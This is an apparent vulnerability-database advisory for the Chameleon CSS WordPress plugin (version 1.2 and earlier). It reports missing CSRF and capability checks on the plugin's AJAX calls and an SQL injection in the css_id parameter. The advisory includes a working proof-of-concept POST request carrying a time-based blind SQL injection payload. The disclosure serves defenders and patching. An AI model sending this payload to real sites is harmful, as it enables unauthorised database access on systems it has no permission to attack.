WordPress Plugin Vulnerabilities
Chameleon CSS <= 1.2 - Subscriber+ SQL Injection
Description
The plugin does not have any CSRF and capability checks in all its AJAX calls, allowing any authenticated user, such as subscriber to call them and perform unauthorised actions. One of AJAX call, remove_css, also does not sanitise or escape the css_id POST parameter before using it in a SQL statement, leading to a SQL Injection
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Length: 35 Accept: */* X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Language: en-US,en;q=0.9 Cookie: [any authenticated user, like subscriber+] action=remove_css&css_id=1%20AND%20(SELECT%207806 FROM%20(SELECT(SLEEP(5)))CVtK)
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Shreya Pohekar of Codevigilant Project
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-10-07 (about 2 years ago)
Added
2021-10-07 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)